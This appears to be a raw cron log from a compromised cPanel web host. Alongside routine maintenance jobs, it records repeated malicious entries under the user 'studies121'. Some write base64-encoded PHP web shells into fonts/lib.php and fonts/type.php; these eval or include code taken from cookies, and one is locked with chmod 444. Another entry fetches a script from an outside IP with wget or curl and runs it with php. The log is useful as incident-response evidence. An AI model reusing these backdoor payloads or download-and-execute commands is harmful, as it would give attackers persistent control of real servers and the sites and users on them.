Sep 21 06:28:02 ip-184-168-122-23 CROND[4002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:28:02 ip-184-168-122-23 CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:28:02 ip-184-168-122-23 CROND[4004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:28:02 ip-184-168-122-23 CROND[4005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:29:01 ip-184-168-122-23 CROND[4158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:29:01 ip-184-168-122-23 CROND[4159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:29:01 ip-184-168-122-23 CROND[4162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:29:01 ip-184-168-122-23 CROND[4163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:30:02 ip-184-168-122-23 CROND[4314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:30:02 ip-184-168-122-23 CROND[4315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:30:02 ip-184-168-122-23 CROND[4318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:30:02 ip-184-168-122-23 CROND[4312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:30:02 ip-184-168-122-23 CROND[4316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:30:02 ip-184-168-122-23 CROND[4317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:30:02 ip-184-168-122-23 CROND[4313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:30:02 ip-184-168-122-23 CROND[4319]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:31:01 ip-184-168-122-23 CROND[4474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:31:01 ip-184-168-122-23 CROND[4476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:31:01 ip-184-168-122-23 CROND[4475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:31:01 ip-184-168-122-23 CROND[4477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:31:01 ip-184-168-122-23 CROND[4479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 06:32:01 ip-184-168-122-23 CROND[4597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:32:01 ip-184-168-122-23 CROND[4599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:32:01 ip-184-168-122-23 CROND[4601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:32:01 ip-184-168-122-23 CROND[4603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:32:01 ip-184-168-122-23 CROND[4602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:33:01 ip-184-168-122-23 CROND[4826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:33:01 ip-184-168-122-23 CROND[4827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:33:01 ip-184-168-122-23 CROND[4829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:33:01 ip-184-168-122-23 CROND[4831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:34:01 ip-184-168-122-23 CROND[5003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:34:01 ip-184-168-122-23 CROND[5004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:34:01 ip-184-168-122-23 CROND[5005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:34:01 ip-184-168-122-23 CROND[5009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:34:01 ip-184-168-122-23 CROND[5010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:35:01 ip-184-168-122-23 CROND[5200]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:35:01 ip-184-168-122-23 CROND[5201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:36:01 ip-184-168-122-23 CROND[5374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:36:01 ip-184-168-122-23 CROND[5376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:36:01 ip-184-168-122-23 CROND[5377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:36:01 ip-184-168-122-23 CROND[5379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:36:01 ip-184-168-122-23 CROND[5378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:37:01 ip-184-168-122-23 CROND[5579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:37:01 ip-184-168-122-23 CROND[5580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:37:01 ip-184-168-122-23 CROND[5581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:37:01 ip-184-168-122-23 CROND[5582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:38:01 ip-184-168-122-23 CROND[5698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:38:01 ip-184-168-122-23 CROND[5700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:38:01 ip-184-168-122-23 CROND[5702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:38:01 ip-184-168-122-23 CROND[5701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:38:01 ip-184-168-122-23 CROND[5703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:39:01 ip-184-168-122-23 CROND[5922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:39:01 ip-184-168-122-23 CROND[5923]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 06:39:01 ip-184-168-122-23 CROND[5925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:39:01 ip-184-168-122-23 CROND[5928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:39:01 ip-184-168-122-23 CROND[5929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:40:01 ip-184-168-122-23 CROND[6150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
